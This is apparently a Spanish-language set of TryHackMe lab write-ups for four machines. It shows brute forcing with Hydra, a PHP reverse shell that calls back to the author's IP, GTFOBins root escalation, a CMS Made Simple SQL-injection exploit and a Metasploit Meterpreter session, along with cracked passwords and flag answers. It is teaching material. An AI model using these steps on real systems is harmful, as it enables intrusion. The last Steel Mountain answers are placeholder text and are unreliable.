top of page
thm.png
brooklyn99

🖥️ BROOKLYN NINE NINE
 
IP: 10.10.55.202
URL: https://tryhackme.com/room/brooklynninenine#
Dificultad: 🟢Fácil
SO: 🐧Linux
Tools: nmap, ftp, ssh, hydra, find, less
¿RESUELTA? ✔️Sí


1️⃣ RECONOCIMIENTO:
nmap -sC 10.10.55.202
Starting Nmap 7.60 ( https://nmap.org ) at 2024-01-31 19:43 GMT
Nmap scan report for ip-10-10-55-202.eu-west-1.compute.internal (10.10.55.202)
Host is up (0.0061s latency).
Not shown: 997 closed ports

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.231.149
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status

22/tcp open  ssh
| ssh-hostkey: 
|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (EdDSA)

80/tcp open  http
|_http-title: Site doesn't have a title (text/html).
MAC Address: 02:25:59:48:5F:1D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds


2️⃣ CONEXIÓN:
ftp 10.10.55.202
Connected to 10.10.55.202.
220 (vsFTPd 3.0.3)
Name (10.10.55.202:root):
anonymous
331 Please specify the password.
Password:
 
(no hay. ENTER)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             119 May 17  2020
note_to_jake.txt
226 Directory send OK.
ftp>
get note_to_jake.txt /root/Desktop/note.txt
local: /root/Desktop/note.txt remote: note_to_jake.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
226 Transfer complete.
119 bytes received in 0.00 secs (2.6392 MB/s)
ftp> 


#Archivo descargado en Desktop. Contenido:
"From Amy,
Jake please change your password. It is too weak and H
olt will be mad if someone hacks into the nine nine"


#El usuario de nombre "Jake" parece tener una contraseña débil, por tanto, de vuelta en la terminal:
hydra -t 4 -l jake -P /root/Desktop/Tools/wordlists/rockyou.txt ssh://10.10.55.202
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2024-01-31 21:04:36
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task
[DATA] attacking ssh://10.10.55.202:22/
[22][ssh] host:
10.10.55.202   login: jake   password: 987654321
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2024-01-31 21:05:30


ssh jake@10.10.55.202
jake@10.10.55.202's password:  987654321
Permission denied, please try again.
jake@10.10.55.202's password: 
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$


ls -la
total 44
drwxr-xr-x 6 jake jake 4096 May 26  2020
.
drwxr-xr-x 5 root root 4096 May 18  2020 ..
-rw------- 1 root root 1349 May 26  2020 .bash_history
-rw-r--r-- 1 jake jake  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 jake jake 3771 Apr  4  2018 .bashrc
drwx------ 2 jake jake 4096 May 17  2020
.cache
drwx------ 3 jake jake 4096 May 17  2020 .gnupg
-rw------- 1 root root   67 May 26  2020 .lesshst
drwxrwxr-x 3 jake jake 4096 May 26  2020
.local
-rw-r--r-- 1 jake jake  807 Apr  4  2018 .profile
drwx------ 2 jake jake 4096 May 18  2020
.ssh
-rw-r--r-- 1 jake jake    0 May 17  2020 .sudo_as_admin_successful

3️⃣ ESCALADO:
find /usr/bin -perm -777 2>/dev/null | sort

(...)
/
usr/bin/less
(...)


#Pasamos por GTFOBins para ver como escalar privilegios con "less":
https://gtfobins.github.io/gtfobins/less/


sudo less /etc/profile !/bin/sh

# whoami
root

4️⃣ ATAQUE:
#Ya como root podemos buscar las flags en la máquina, encontrándose en:

cat /home/holt/user.txt
ee11cbb19052e40b07aac0ca060c23ee


cat /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

 

rootme

🖥️ ROOT ME
 
IP: 10.10.28.48
URL: https://tryhackme.com/room/rrootme#
Dificultad: 🟢Fácil
SO: 🐧Linux
Tools: nmap, Firefox, gobuster, nc, find, python
¿RESUELTA? ✔️Sí

1️⃣ RECONOCIMIENTO:

nmap -sS -sC -sV -p- 10.10.28.48 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-04 22:39 UTC
Nmap scan report for ip-10-10-28-48.eu-west-1.compute.internal (10.10.28.48)
Host is up (0.0051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION

22/tcp open  ss
h     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
|   256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_  256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      ht
tponly flag not set
|_http-server-header:
Apache/2.4.29 (Ubuntu)
MAC Address: 02:C0:66:77:ED:E7 (Unknown)
Service Info:
OS: Linux; CPE: cpe:/o:linux:linux_kern
el

 

#¿Cuántos puertos hay abiertos?

2 puertos, el 22 y el 80

#¿Qué servicio corre por el puerto 22?

ssh

#¿Qué sistema operativo corre la máquina objetivo?

Linux 2.6.X

gobuster dir -u 10.10.28.48 -w /root/Desktop/wordlists/dirb/common.txt 2>/dev/null
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                             http://10.10.28.48
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /root/Desktop/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Timeout:                   10s
===============================================================
2024/02/04 23:17:10 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess               (Status: 403) [Size: 276]
/.htpasswd             (Status: 403) [Size: 276]
/.hta                          (Status: 403) [Size: 276]

/css                           (Status: 301) [Size: 308] [--> http://10.10.28.48/css/]
/index.php              (Status: 200) [Size: 616]
/js                              (Status: 301) [Size: 307] [--> http://10.10.28.48/js/]
/panel                       (Status: 301) [Size: 310] [--> http://10.10.28.48/panel/]
/server-status        (Status: 403) [Size: 276]
/uploads                  (Status: 301) [Size: 312] [--> http://10.10.28.48/uploads/]
===============================================================
2024/02/04 23:17:11 Finished
===============================================================

#¿Cuál es el directorio oculto?

/panel/

2️⃣ CONEXIÓN:

#El CTF nos pide encontrar la forma de uploadear un archivo que nos permita una "reverse shell".

Accediendo desde el navegador a las URL detectadas, encontramos un formulario de "upload" en:

http://10.10.28.48/panel/

hackit-home.png

#Para avanzar es necesario conocer nuestra IP mediante:
ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet
127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2:
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
    link/ether 02:a
5:0a:e3:6b:ed brd ff:ff:ff:ff:ff:ff
    inet
10.10.186.161/16 brd 10.10.255.255 scope global dynamic eth0
       valid_lft 2727sec preferred_lft 2727sec
    inet6 fe80::a5:aff:fee3:6bed/64 scope link 
       val
id_lft forever preferred_lft forever

#A través del formulario de "upload" se podría subir un archivo PHP que envíe una "reverse shell" a nuestra IP. En Kali Linux viene instalado un archivo PHP que podría hacer el trabajo, ubicado en /usr/share/webshells/php/php-reverse-shell.php.

#Sabiendo ahora que nuestra IP es 
10.10.186.161, copiaremos y editaremos el archivo php-reverse-shell.php para que una vez subido al servidor, envíe peticiones de conexión a nuestra IP. Llamaremos a la copia rev.php y le haremos los siguientes cambios, metiendo nuestra IP pública y el puerto de escucha 444, dejaremos el resto de campos como están:

set_time_limit (0);
$VERSION = "1.0";
$ip = '
10.10.186.161';  // CHANGE THIS

$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;

$debug = 0;

#El formulario de "upload" no permite subir archivos .php por lo que probaremos cambiando la extensión del archivo a .phtml.

✔️En formato .phtml si se sube.

#Si el script es correcto y el archivo se subió correctamente, debería intentar conectarse a mi máquina al ejecutarlo. Primero abriremos una terminal y pondremos al puerto 444 en escucha:
nc -lvnp 444
listening on [any] 444 ...

#Ahora toca ir al servidor a ejecutar el .phtml, desde el subdominio encontrado previamente http://10.10.28.48/uploads/
NOTA: la IP de la captura no corresponde porque se continuó el ejercicio en otra máquina
 

uploadss.png

#Al hacer CLICK en rev.phtml este se ejecuta, y en la terminal con el puerto 444 en escucha obtenemos lo siguiente:

connect to [10.10.186.161] from (UNKNOWN) [10.10.218.59] 59846
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
12:13:54 up 47 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off


3️⃣ ESCALADO:
#Ya estamos dentro, ahora toca escalar a un usuario con privilegios. Al tirar un whoami podemos ver que no somos root:
whoami
www-data


#Probamos una serie de comandos para reconocer la máquina:
pwd
/

echo $0
/bin/sh


$ ls -la
total 2097256
drwxr-xr-x  24 root root       4096 Aug  4  2020 .
drwxr-xr-x  24 root root       4096 Aug  4  2020 ..
drwxr-xr-x   2 root root       4096 Aug  4  2020 bin
drwxr-xr-x   3 root root       4096 Aug  4  2020 boot
drwxr-xr-x   2 root root       4096 Aug  4  2020 cdrom
drwxr-xr-x  17 root root       3700 Feb  9 11:26 dev
drwxr-xr-x  96 root root       4096 Aug  4  2020 etc
drwxr-xr-x   4 root root       4096 Aug  4  2020 home
lrwxrwxrwx   1 root root         34 Aug  4  2020 initrd.img -> boot/initrd.img-4.15.0-112-generic
lrwxrwxrwx   1 root root         34 Aug  4  2020 initrd.img.old -> boot/initrd.img-4.15.0-112-generic
drwxr-xr-x  22 root root       4096 Aug  4  2020 lib
drwxr-xr-x   2 root root       4096 Aug  4  2020 lib64
drwx------   2 root root      16384 Aug  4  2020 lost+found
drwxr-xr-x   2 root root       4096 Feb  3  2020 media
drwxr-xr-x   2 root root       4096 Feb  3  2020 mnt
drwxr-xr-x   2 root root       4096 Feb  3  2020 opt
dr-xr-xr-x 104 root root          0 Feb  9 11:26 proc
drwx------   6 root root       4096 Aug  4  2020 root
drwxr-xr-x  26 root root        860 Feb  9 11:30 run
drwxr-xr-x   2 root root      12288 Aug  4  2020 sbin
drwxr-xr-x   4 root root       4096 Aug  4  2020 snap
drwxr-xr-x   2 root root       4096 Feb  3  2020 srv
-rw-------   1 root root 2147483648 Aug  4  2020 swap.img
dr-xr-xr-x  13 root root          0 Feb  9 11:26 sys
drwxrwxrwt   2 root root       4096 Feb  9 12:06 tmp
drwxr-xr-x  10 root root       4096 Feb  3  2020 usr
drwxr-xr-x  14 root root       4096 Aug  4  2020 var
lrwxrwxrwx   1 root root         31 Aug  4  2020 vmlinuz -> boot/vmlinuz-4.15.0-112-generic
lrwxrwxrwx   1 root root         31 Aug  4  2020 vmlinuz.old -> boot/vmlinuz-4.15.0-112-generic


cd root
/bin/sh: 15: cd: can't cd to root


#El ejercicio nos pide buscar un "user.txt" para leer la flag que contiene:
find / -name user.txt 2>/dev/null
/var/www/user.txt

cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}      <- Flag del ejercicio


#Para escalar privilegios podemos probar a buscar binarios con permisos de root y forzarlos, a saber en esta máquina:
find / -user root -perm /4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/
python
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount


4️⃣ ATAQUE:
#Según el ejercicio, uno de los binarios vulnerables podría ser python, para el que buscaremos una forma de vulnerarlo desde GTFOBins:

- https://gtfobins.github.io/gtfobins/python/


#El ejercicio nos pide sacar una flag del archivo "root.txt", que podemos intuir que se encuentra en el directorio /root al que no tenemos acceso con el usuario actual. Podemos probar a leer el archivo con Python así:


python -c 'print(open("/root/root.txt").read())'
THM{pr1v1l3g3_3sc4l4t10n}          <- Flag del ejercicio


 

simpleCTF

🖥️ SIMPLE CTF
 
IP: 10.10.247.199
URL: https://tryhackme.com/room/easyctf
Dificultad: 🟢Fácil
SO: 🐧Linux
Tools: nmap, Firefox, gobuster, python3, ssh, vim
¿RESUELTA? ✔️Sí


1️⃣ RECONOCIMIENTO:
nmap -sU -sC -sV -p 1000 10.10.247.199
PORT     STATE         SERVICE VERSION
1000/tcp filtered      cadlock
1000/udp open|filtered ock
MAC Address: 02:53:DC:41:A8:D3 (Unknown)


#¿Cuántos servicios corren por el puerto 1000?
Corren 2 servicios, TCP y UDP. Aparecen como "filtered". Estos servicios parecen protegidos contra escaneos de forma que nmap no puede determinar si están abiertos o cerrados, aunque si estuvieran cerrados carecerían de protección y por lo tanto no devolverían ninguna respuesta.

nmap -sS -sC -sV -p- 10.10.247.199
PORT     STATE SERVICE VERSIO
N

21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.86.216
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT

80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header:
Apache/2.4.18 (Ubuntu)
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 294269149ecad917988c27723acda923 (RSA)
|   256 9bd165075108006198de95ed3ae3811c (ECDSA)
|_  256 12651b61cf4de575fef4e8d46e102af6 (ED25519)
MAC Address: 02:53:DC:41:A8:D3 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


#¿Qué servicio corre por el puerto mayor?
Por el puerto 2222 corre el servicio ssh

gobuster dir -u 10.10.247.199 -w /usr/share/dirb/wordlists/common.txt > buster.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.247.199
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Timeout:                 10s
===============================================================
2024/02/09 18:16:51 Starting gobuster in directory enumeration mode
===============================================================

[2K/.hta                 (Status: 403) [Size: 292]

[2K/.htpasswd            (Status: 40
3) [Size: 297]

[2K/.htaccess            (Status: 403) [Size: 297]

[2K/
index.html           (Status: 200) [Size: 11321]

[2K/robots.txt           (Status: 200) [Size: 929]

[2K/server-status        (Status: 403) [Size: 301]

[2K/
simple               (Status: 301) [Size: 315] [--> http://10.10.247.199/simple/]
===============================================================
2024/02/09 18:16:54 Finished
===============================================================


A raíz de haber visto que la IP tiene el puerto 80 (protocolo HTTP) abierto, podemos deducir que se puede acceder por el navegador, así como las coincidencias de subdominio que arroja el comando GoBuster. Y en efecto, metiendo la IP en Mozilla Firefox accedemos a una página web. Navegando por ella encontramos que en la URL http://10.10.247.199/simple/admin la web muestra un cuadro de login a nombre del servicio CMS Made Simple.
 

cms-made-simple-login-1597644295.png

#¿Cuál es la aplicación?
"CMS Made Simple"

#¿Qué CVE hay contra esa aplicación?
Tras alguna búsqueda en "Phind" preguntando a cerca de vulnerabilidades de "CMS Made Simple", encuentra la CVE-2019-9053, la cual permite su vulneración mediante Python3

#¿A qué tipo de Qué tipo de vulneración es esa?
sqli (inyección sql)

Preguntando a "
Phind" en el mismo hilo, recomiendo descargar y usar un exploit encontrado aquí:
https://github.com/Mahamedm/CVE-2019-9053-Exploit-Python-3

#Una vez descargado, procedo a ejecutar el exploit con la siguiente línea:

python3 csm.py  -u http://10.10.193.112/simple/admin --crack -w /root/Desktop/wordlists/rockyou.txt

ejecutandose ...

[+] Salt for password found:
1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret


#¿Cuál es la contraseña?
secret

#¿Por donde te puedes conectar con esas credenciales?
Como vimos en el escaneo de nmap, por el puerto 2222 corre el servicio ssh

2️⃣ CONEXIÓN:
#Por tanto, se procede con:

ssh mitch@10.10.193.112 -p 2222
The authenticity of host '[10.10.193.112]:2222 ([10.10.193.112]:2222)' can't be established.
ED25519 key fingerprint is
SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint:
yes
Warning: Permanently added '[10.10.193.112]:2222' (ED25519) to the list of known hosts.
mitch@10.10.193.112's password:
secret

Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190


whoami
mitch


#Estamos dentro, asique seguimos para Bingo
ls
user.txt

cat user.txt
G00d j0b, keep up!

#¿Cuál es la flag?
G00d j0b, keep up!

3️⃣ ESCALADO:
#Estando ya dentro, toca escalar privilegios. Probamos a ver que hay en passwd:

tail /etc/passwd
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false

sunbath:x:1000:1000:Vuln,,,:/home/sunbath:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:122:130:ftp daemon,,,:/srv/ftp:/bin/false

mitch:x:1001:1001::/home/mitch:
sshd:x:123:65534::/var/run/sshd:/usr/sbin/nologin

Vemos que además del usuario "mitch" con ID 1001, se encuentra otro usuario de nombre "sunbath" con ID 1000, que es la ID asignada al primer usuario de un sistema (root) y asignado al directorio /home/sunbath.

#¿Hay algún otro usuario?
sunbath

#Probamos a leer el historial de comando del usuario actual mitch:

cat /home/mitch/.bash_history
ls
clear
exit
ls -la
id
clear
sudo -l
clear

vim
/usr/bin/vim

id
cd /root
cd
clear
ls -la
rm -rf examples.desktop 
touch user.txt
echo G00d j0b, keep up! > user.txt 

/usr/bin/vim


Se aprecia actividad recurrente con el binario vim, por lo que podría ser una puerta para escalar privilegios.

#¿Con qué binario podrías escalar privilegios?
vim

#Buscamos en GTFOBins:
https://gtfobins.github.io/gtfobins/vim/

#Primera prueba con una línea de código que permitiría escalar privilegios a través de la shell sh:
sudo vim -c ':!/bin/sh'


#Comproba
mos si ha funcionado, y en efecto:
whoami
root


4️⃣ ATAQUE:

#Ahora como root, conviene un vistazo al archivo shadow, sacando el hash de la contraseña, con el que no puedo hacer mucho pero decido sacarlo por si acaso:
sunbath:$6$5N7G5DI2$i8URjR2AxE4LqKQavV9Eh2h7NeSaPdg/6f.6ECMlM2.QSkCL4crqVs/jIYv4C1WKftDTi8GbbrkjHDK

#Al igual que con mitch, se antoja interesante leer el historial de comandos:
cat /home/sunbath/.bash_history
(...)
ls -la

cat hint.txt 
clear

chmod 755 hint.txt 
chown www-data www-data hint.txt
chown www-data.www-data hint.txt
ls
ls -la
clear
cd /root

touch root.txt
echo W3ll d0n3. You made it! >
root.txt 
ls -la
rm -rf .nano
rm -rf .cache
clear
chown root.root /usr/bin/vom
cho
wn root.root /usr/bin/vim
(...)

#Ya hemos visto el contenido de root.txt, aun así podemos encontrar el archivo y leerlo:
cat /home/sunbath/root.txt
W3ll d0n3. You made it!

#¿Cuál es la flag de root?
W3ll d0n3. You made it!
 

steel mountain

🖥️ STEEL MOUNTAIN
 
IP: 10.10.181.43
URL: https://tryhackme.com/room/steelmountain
Dificultad: 🟢Fácil
SO: 📁Windows
Tools: Firefox, nmap, Phind, msfconsole, Meterpreter, 
¿RESUELTA? No


1️⃣ RECONOCIMIENTO:

#¿Quién es el empleado del mes?
Lanzamos la IP en el navegador (Firefox) para acceder a la web. En ella vemos una foto con la descripción "employee of the month". Tan fácil como ver el nombre de la imagen: BillHarper.png
 

bill.png


#Pasamos escaneo con nmap:
nmap 10.10.181.43        
Starting Nmap 7.93 ( https://n
map.org ) at 2024-02-20 14:47 UTC
Nmap scan report for ip-10-10-181-43.eu-west-1.compute.internal (10.10.181.43)
Host is up (0.0046s latency).
Not shown: 989 closed tcp ports (reset)

PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
8080/tcp  open  http-proxy
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
MAC Address:
02:4B:AD:35:EC:7B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.84 seconds


#¿Qué otro puerto corre un servidor web?
8080

#Mira el otro servidor web ¿Qué file server está ejecutándose?
rejetto http file server

 

rej1.png
rej2.png


#¿cuál es el número CVE para explotar este file server?
Según Phind: CVE-2014-6287
Esta vulnerabilidad permite la ejecución remota de comandos en la versión 2.3.x del servidor de archivos HTTP

2️⃣ CONEXIÓN:
#Utiliza Metasploit para conseguir una shell inicial. Inicio el herramienta:

msfconsole                                              
                                   ___          ____
                               ,-""   `.      < HONK >
                             ,'  _   e )`-._ /  ----                                                                       
                            /  ,' `-._<.===-'                                                                              
                           /  /                                                                                            
                          /  ;                                                                                             
              _          /   ;                                                                                             
(`._    _.-"" ""--..__,'    |                                                                                             
<_  `-""                     \                                                                                            
  <`-                          :                                                                                           
   (__   <__.                  ;                                                                                           
     `-.   '-.__.      _.'    /                                                                                            
        \      `-.__,-'    _,'                                                                                             
         `._    ,    /__,-'                                                                                                
            ""._\__,'< <____                                                                                               
                 | |  `----.`.                                                                                             
                 | |        \ `.                                                                                           
                 ; |___      \-``                                                                                          
                 \   --<                                                                                                   
                  `.`.<                                                                                                    
                    `-'                                                                                                                                                                                                                    
                                                                                                                          
       =[ metasploit v6.2.23-dev                          ]
+ -- --=[ 2259 exploits - 1188 auxiliary - 402 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can pivot connections over sessions 
started with the ssh_login modules
Metasploit Documentation: https://docs.metasploit.com/


#Busco el CVE de marras:
msf6 > search CVE-2014-6287

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  
exploit/windows/http/rejetto_hfs_exec  2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/rejetto_hfs_exec


#Para ejecutar "exploit/windows/http/rejetto_hfs_exec  2014-09-11":
use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

#Configuramos el ataque metiendo la IP objetivo y el puerto de conexión:
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOST 10.10.181.43
RHOST => 10.10.181.43

msf6 exploit(windows/http/rejetto_hfs_exec) > set RPORT 8080
RPORT => 8080

msf6 exploit(windows/http/rejetto_hfs_exec) > run

[*] Started reverse TCP handler on 10.10.123.86:4444 
[*] Using URL: http://10.10.123.86:8080/WAIWf1K
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /WAIWf1K
[*] Sending stage (175686 bytes) to 10.10.181.43
[!] Tried to delete %TEMP%\sXyFnMYeGQJaJ.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.123.86:4444 -> 10.10.181.43:49298) at 2024-02-20 16:13:47 +0000
[*] Server stopped.

meterpreter > _


#Ya estamos dentro a través de la shell Meterpreter. Ahora a rebuscar:
ls
Listing: C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
====================================================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
040777/rwxrwxrwx  0       dir   2024-02-20 16:13:46 +0000  
%TEMP%
100666/rw-rw-rw-  174     fil   2019-09-27 11:07:07 +0000  desktop.ini
100777/rwxrwxrwx  760320  fil   2014-02-16 20:58:52 +0000  hfs.exe


#Buscando, me muevo a la siguiente ubicación:
C:\Users\bill\Desktop

ls
Listing: C:\Users\bill\Desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-09-27 11:07:07 +0000  
desktop.ini
100666/rw-rw-rw-  70    fil   2019-09-27 12:42:38 +0000  user.txt

meterpreter > cat user.txt
��b04763b6fcf51fcd7c13abc7db4fd365


#¿cuál es la flag del usuario?
��b04763b6fcf51fcd7c13abc7db4fd365

3️⃣ ESCALADO:
#Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?
Cfghsdvrf

#What is the root flag?
Cfdsfdgh


4️⃣ ATAQUE:
#What powershell -c command could we run to manually find out the service name?*Format is "powershell -c "command here"*Cfdsfdgh

Once this command runs, you will see you gain a shell as Administrator on our listener!

bottom of page